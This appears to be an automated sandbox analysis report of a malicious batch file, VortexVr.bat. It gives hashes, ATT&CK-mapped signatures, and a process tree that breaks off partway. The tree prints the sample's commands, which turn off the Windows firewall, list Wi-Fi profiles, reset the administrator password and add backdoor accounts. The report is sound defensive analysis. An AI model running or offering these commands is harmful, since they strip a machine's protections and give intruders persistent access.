430da5dc6e348ce795a2c3cc45978a1b363870d9477b4971e0e53c213bdfd138

Analysis

user interaction
yes
max time kernel
261s
max time network
899s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/08/2026, 17:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
VortexVr.bat
Size 38KB
Sample260818-vlv2cawfpf
SHA256 430da5dc6e348ce795a2c3cc45978a1b363870d9477b4971e0e53c213bdfd138
MD5 fdb8f67718b3d54e62ef7f035df12607
SHA1 a3f051ce5b814fd6fee820b18f4fb041febbf642
SHA512 13813ef2f8abe31bad40d22cdcb1614d8d6c74eb1fdd80bcc9e95bc3f084250a41897ae101c881732014b556095ad4bbfc44ba75aef1445b51f2d4f7a87e7b12
SSDEEP 768:faa7Zaa7jaa7Haa7/aa7paa7Zaa7jaa7Haa7/aa7paa7Zaa7jaa7Haa7/aa7paa3:ffZfjfHf/fpfZfjfHf/fpfZfjfHf/fpz
TLSH
T15003BF39EB78A8D043BE749C8A533D4614CA1D23D7B9AA5CF941089B1CAC785EB774CC
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1544	powershell.exe
4704	powershell.exe
7700	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4452	netsh.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr.lnk	powershell.exe

Drops desktop.ini file(s) 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Public\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	firefox.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	firefox.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Creates a new local user account 1 TTPs 18 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
5024	net1.exe
4652	net1.exe
5824	net.exe
2884	net.exe
4516	net.exe
3168	net.exe
2232	net1.exe
5144	net.exe
2764	net.exe
2760	net1.exe
2092	net.exe
2864	net1.exe
5012	net1.exe
816	net1.exe
4352	net.exe
5492	net1.exe
2140	net.exe
4228	net1.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\wbem\Performance\WmiApRpl_new.h	WMIADAP.EXE
File created	C:\Windows\system32\wbem\Performance\WmiApRpl_new.ini	WMIADAP.EXE

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2768	cmd.exe
4216	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2908	netsh.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3724	chrome.exe
4700	msedge.exe

Checks processor information in registry 2 TTPs 48 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134315464140973282"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 14 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Moniker = "cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Children	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2246396966-3025826688-3847171515-1000\{D1155D59-295B-43FB-9A08-4631A3CEB39A}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\DisplayName = "Chrome Sandbox"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\DisplayName = "Chrome Sandbox"	msedge.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 56 IoCs

pid	Process
2984	powershell.exe
2984	powershell.exe
1544	powershell.exe
1544	powershell.exe
4704	powershell.exe
4704	powershell.exe
5796	powershell.exe
4680	powershell.exe
4680	powershell.exe
1100	chrome.exe
1100	chrome.exe
2756	powershell.exe
2756	powershell.exe
4152	powershell.exe
4152	powershell.exe
4936	powershell.exe
4936	powershell.exe
4828	powershell.exe
4828	powershell.exe
6856	powershell.exe
6856	powershell.exe
2860	powershell.exe
2860	powershell.exe
7096	powershell.exe
7096	powershell.exe
6568	powershell.exe
6568	powershell.exe
6500	powershell.exe
6500	powershell.exe
6852	powershell.exe
6852	powershell.exe
7148	powershell.exe
7148	powershell.exe
2008	powershell.exe
2008	powershell.exe
1628	powershell.exe
1628	powershell.exe
7268	powershell.exe
7268	powershell.exe
7992	powershell.exe
7992	powershell.exe
8140	powershell.exe
8140	powershell.exe
7424	powershell.exe
7424	powershell.exe
7700	powershell.exe
7700	powershell.exe
7700	powershell.exe
1532	powershell.exe
1532	powershell.exe
712	msedge.exe
712	msedge.exe
1588	chrome.exe
1588	chrome.exe
1100	chrome.exe
1100	chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1100	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 23 IoCs

pid	Process
1100	chrome.exe
1100	chrome.exe
3212	msedge.exe
3212	msedge.exe
3212	msedge.exe
3212	msedge.exe
1100	chrome.exe
3212	msedge.exe
1100	chrome.exe
3212	msedge.exe
1100	chrome.exe
3212	msedge.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
3212	msedge.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeDebugPrivilege	1544	powershell.exe
Token: SeIncreaseQuotaPrivilege	1544	powershell.exe
Token: SeSecurityPrivilege	1544	powershell.exe
Token: SeTakeOwnershipPrivilege	1544	powershell.exe
Token: SeLoadDriverPrivilege	1544	powershell.exe
Token: SeSystemProfilePrivilege	1544	powershell.exe
Token: SeSystemtimePrivilege	1544	powershell.exe
Token: SeProfSingleProcessPrivilege	1544	powershell.exe
Token: SeIncBasePriorityPrivilege	1544	powershell.exe
Token: SeCreatePagefilePrivilege	1544	powershell.exe
Token: SeBackupPrivilege	1544	powershell.exe
Token: SeRestorePrivilege	1544	powershell.exe
Token: SeShutdownPrivilege	1544	powershell.exe
Token: SeDebugPrivilege	1544	powershell.exe
Token: SeSystemEnvironmentPrivilege	1544	powershell.exe
Token: SeRemoteShutdownPrivilege	1544	powershell.exe
Token: SeUndockPrivilege	1544	powershell.exe
Token: SeManageVolumePrivilege	1544	powershell.exe
Token: 33	1544	powershell.exe
Token: 34	1544	powershell.exe
Token: 35	1544	powershell.exe
Token: 36	1544	powershell.exe
Token: SeDebugPrivilege	4704	powershell.exe
Token: SeDebugPrivilege	5796	powershell.exe
Token: SeDebugPrivilege	4680	powershell.exe
Token: SeShutdownPrivilege	1100	chrome.exe
Token: SeCreatePagefilePrivilege	1100	chrome.exe
Token: SeShutdownPrivilege	1100	chrome.exe
Token: SeCreatePagefilePrivilege	1100	chrome.exe
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeShutdownPrivilege	1100	chrome.exe
Token: SeCreatePagefilePrivilege	1100	chrome.exe
Token: SeShutdownPrivilege	1100	chrome.exe
Token: SeCreatePagefilePrivilege	1100	chrome.exe
Token: SeDebugPrivilege	4152	powershell.exe
Token: SeShutdownPrivilege	1100	chrome.exe
Token: SeCreatePagefilePrivilege	1100	chrome.exe
Token: SeDebugPrivilege	4936	powershell.exe
Token: SeDebugPrivilege	4828	powershell.exe
Token: SeShutdownPrivilege	1100	chrome.exe
Token: SeCreatePagefilePrivilege	1100	chrome.exe
Token: SeShutdownPrivilege	1100	chrome.exe
Token: SeCreatePagefilePrivilege	1100	chrome.exe
Token: SeShutdownPrivilege	1100	chrome.exe
Token: SeCreatePagefilePrivilege	1100	chrome.exe
Token: SeDebugPrivilege	6856	powershell.exe
Token: SeShutdownPrivilege	1100	chrome.exe
Token: SeCreatePagefilePrivilege	1100	chrome.exe
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeShutdownPrivilege	1100	chrome.exe
Token: SeCreatePagefilePrivilege	1100	chrome.exe
Token: SeShutdownPrivilege	1100	chrome.exe
Token: SeCreatePagefilePrivilege	1100	chrome.exe
Token: SeDebugPrivilege	7096	powershell.exe
Token: SeDebugPrivilege	6568	powershell.exe
Token: SeShutdownPrivilege	1100	chrome.exe
Token: SeCreatePagefilePrivilege	1100	chrome.exe
Token: SeDebugPrivilege	6500	powershell.exe
Token: SeShutdownPrivilege	1100	chrome.exe
Token: SeCreatePagefilePrivilege	1100	chrome.exe
Token: SeShutdownPrivilege	1100	chrome.exe
Token: SeCreatePagefilePrivilege	1100	chrome.exe
Token: SeDebugPrivilege	6852	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
3212	msedge.exe
1100	chrome.exe
816	firefox.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
816	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2768 wrote to memory of 2984	2768	cmd.exe	90
PID 2984 wrote to memory of 4216	2984	powershell.exe	91
PID 4216 wrote to memory of 4452	4216	cmd.exe	93
PID 4216 wrote to memory of 2908	4216	cmd.exe	94
PID 4216 wrote to memory of 1944	4216	cmd.exe	95
PID 1944 wrote to memory of 3456	1944	net.exe	96
PID 4216 wrote to memory of 3168	4216	cmd.exe	97
PID 3168 wrote to memory of 5024	3168	net.exe	98
PID 4216 wrote to memory of 2764	4216	cmd.exe	99
PID 2764 wrote to memory of 4652	2764	net.exe	100
PID 4216 wrote to memory of 5824	4216	cmd.exe	101
PID 5824 wrote to memory of 2760	5824	net.exe	102
PID 4216 wrote to memory of 2092	4216	cmd.exe	103
PID 2092 wrote to memory of 2864	2092	net.exe	104
PID 4216 wrote to memory of 2884	4216	cmd.exe	105
PID 2884 wrote to memory of 816	2884	net.exe	141
PID 4216 wrote to memory of 2140	4216	cmd.exe	107
PID 2140 wrote to memory of 2232	2140	net.exe	108
PID 4216 wrote to memory of 5144	4216	cmd.exe	109
PID 5144 wrote to memory of 4228	5144	net.exe	110
PID 4216 wrote to memory of 4516	4216	cmd.exe	111
PID 4516 wrote to memory of 5012	4516	net.exe	112
PID 4216 wrote to memory of 4352	4216	cmd.exe	113
PID 4352 wrote to memory of 5492	4352	net.exe	114
PID 4216 wrote to memory of 1544	4216	cmd.exe	115
PID 4216 wrote to memory of 4704	4216	cmd.exe	117
PID 4216 wrote to memory of 4820	4216	cmd.exe	118
PID 4216 wrote to memory of 1100	4216	cmd.exe	119
PID 4216 wrote to memory of 5796	4216	cmd.exe	120
PID 1100 wrote to memory of 1952	1100	chrome.exe	121
PID 4216 wrote to memory of 3212	4216	cmd.exe	122
PID 4216 wrote to memory of 4680	4216	cmd.exe	123
PID 3212 wrote to memory of 4584	3212	msedge.exe	124
PID 1100 wrote to memory of 3724	1100	chrome.exe	126
PID 1100 wrote to memory of 3408	1100	chrome.exe	127
PID 1100 wrote to memory of 3408	1100	chrome.exe	127
PID 1100 wrote to memory of 3324	1100	chrome.exe	125
PID 1100 wrote to memory of 3324	1100	chrome.exe	125
PID 1100 wrote to memory of 2492	1100	chrome.exe	129
PID 1100 wrote to memory of 1064	1100	chrome.exe	130
PID 1100 wrote to memory of 2492	1100	chrome.exe	129
PID 1100 wrote to memory of 1064	1100	chrome.exe	130
PID 3212 wrote to memory of 5576	3212	msedge.exe	131
PID 3212 wrote to memory of 4700	3212	msedge.exe	132
PID 3212 wrote to memory of 5576	3212	msedge.exe	131
PID 3212 wrote to memory of 5576	3212	msedge.exe	131
PID 3212 wrote to memory of 3096	3212	msedge.exe	133
PID 3212 wrote to memory of 3096	3212	msedge.exe	133
PID 3212 wrote to memory of 4896	3212	msedge.exe	134
PID 3212 wrote to memory of 4932	3212	msedge.exe	135
PID 3212 wrote to memory of 4896	3212	msedge.exe	134
PID 3212 wrote to memory of 4896	3212	msedge.exe	134
PID 3212 wrote to memory of 4932	3212	msedge.exe	135
PID 3212 wrote to memory of 4932	3212	msedge.exe	135
PID 1100 wrote to memory of 5748	1100	chrome.exe	138
PID 1100 wrote to memory of 5748	1100	chrome.exe	138
PID 3212 wrote to memory of 4252	3212	msedge.exe	139
PID 3212 wrote to memory of 4252	3212	msedge.exe	139
PID 3212 wrote to memory of 4252	3212	msedge.exe	139
PID 3212 wrote to memory of 5020	3212	msedge.exe	140
PID 3212 wrote to memory of 5020	3212	msedge.exe	140
PID 3212 wrote to memory of 5020	3212	msedge.exe	140
PID 4216 wrote to memory of 4852	4216	cmd.exe	137
PID 4852 wrote to memory of 816	4852	firefox.exe	141

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\VortexVr.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell start -verb runas 'C:\Users\Admin\AppData\Local\Temp\VortexVr.bat' am_admin
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2984
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\VortexVr.bat" am_admin
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4216
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:4452
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:2908
  - - C:\Windows\system32\net.exe
      net user administrator newpassword
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1944
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user administrator newpassword
        5⤵
        
        PID:3456
  - - C:\Windows\system32\net.exe
      net user NewUser new newpassword /add
      4⤵
      Creates a new local user account
      Suspicious use of WriteProcessMemory
      PID:3168
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user NewUser new newpassword /add
        5⤵
        Creates a new local user account
        
        PID:5024
  - - C:\Windows\system32\net.exe
      net user NewUser2 new newpassword /add
      4⤵
      Creates a new local user account
      Suspicious use of WriteProcessMemory
      PID:2764
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user NewUser2 new newpassword /add
        5⤵
        Creates a new local user account
        
        PID:4652
  - - C:\Windows\system32\net.exe
      net user NewUser23 new newpassword /add
      4⤵
      Creates a new local user account
